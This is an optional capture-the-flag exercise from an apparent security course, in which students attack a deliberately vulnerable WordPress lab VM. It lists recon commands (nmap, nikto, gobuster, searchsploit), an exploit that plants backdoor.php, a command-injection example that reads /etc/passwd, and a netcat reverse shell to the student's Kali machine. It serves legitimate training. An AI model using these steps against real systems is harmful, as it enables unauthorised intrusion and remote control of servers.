Target 2: Extra credit

**Activity File: Attacking Target 2 (Optional)**

Please note, **attacking Target 2 is not required**. It is included as an additional challenge if you are interested in assessing a more complex web application. Before attempting this challenge, make sure you complete the Wireshark analysis.

Target 2 exposes the same WordPress site as Target 1, but with better security hardening. Therefore, it must be exploited differently than Target 1.

The steps for completing this assessment are enumerated below. All details required to capture the first three flags on Target 2 are included.

**Instructions**

Target 2's IP Address: 192.168.1.115

1. Use Nmap to identify the IP address of Target 2.

Nmap -sP 192.168.1.1-255

1. Use Nmap to document all exposed ports and services at this IP address.

Text

Description automatically generated

Text

Description automatically generated

1. Enumerate the web server with nikto.
   * **Hint**: Run: nikto -C all -h 192.168.1.115
   * **Note**: This creates a list of URLs the Target HTTP server exposes. What kind of website is this VM running?

Text

Description automatically generated

Text

Description automatically generated

1. Perform a more in-depth enumeration with gobuster.

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir -u http://192.168.1.115

Text

Description automatically generated

* + **Hint**
    - Install gobuster using apt
    - Run gobuster -w /path/to/wordlist dir -u <URL>
    - Use /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt as your wordlist (-w).
    - Pay attention to the /vendor directory. There may be a flag in there...

1. Use searchsploit to find any known vulnerabilities associated with the programs found in Step #4. **Hint**: Run searchsploit -h

searchsploit phpmailer

1. Use the provided script exploit.sh to exploit this vulnerability by opening an Ncat connection to your Kali VM.
   * Edit the line at the top of the script that sets the TARGET variable. Set it equal to the IP address of Target 2.
   * Run the script. It uploads a file called backdoor.php to the target server. This file can be used to execute command injection attacks.
   * Navigate to: http://<Target 2 URL>/backdoor.php?cmd=<CMD>
     + This allows you to run bash commands on Target 2.
     + For example, try: http://<Target 2 URL>/backdoor.php?cmd=cat%20/etc/passwd
   * Next, use the backdoor to open a shell session on the target.
     + On your **Kali** VM, start a netcat listener: nc -lnvp 4444
     + In the browser, use the backdoor to run: nc <Kali IP> 4444 -e /bin/bash. For example, your query string will look like cmd=nc%20<Kali IP>%204444%20-e%20/bin/bash.
2. Using the shell you've opened on Target 2, find a flag in /var/www.

$ ls /var/www

flag2.txt

1. Next, find a flag in the WordPress uploads directory.
   * **Hint**: Use the find command: find /var/www -type f -iname 'flag\*'

$ find /var/www/html -type f -iname 'flag\*'

/var/www/html/wp-content/uploads/2018/11/flag3.txt

1. If you find all three flags -- congratulations! There is a fourth, but escalating to root is extremely difficult: For now, move on to completing a report about Target 2.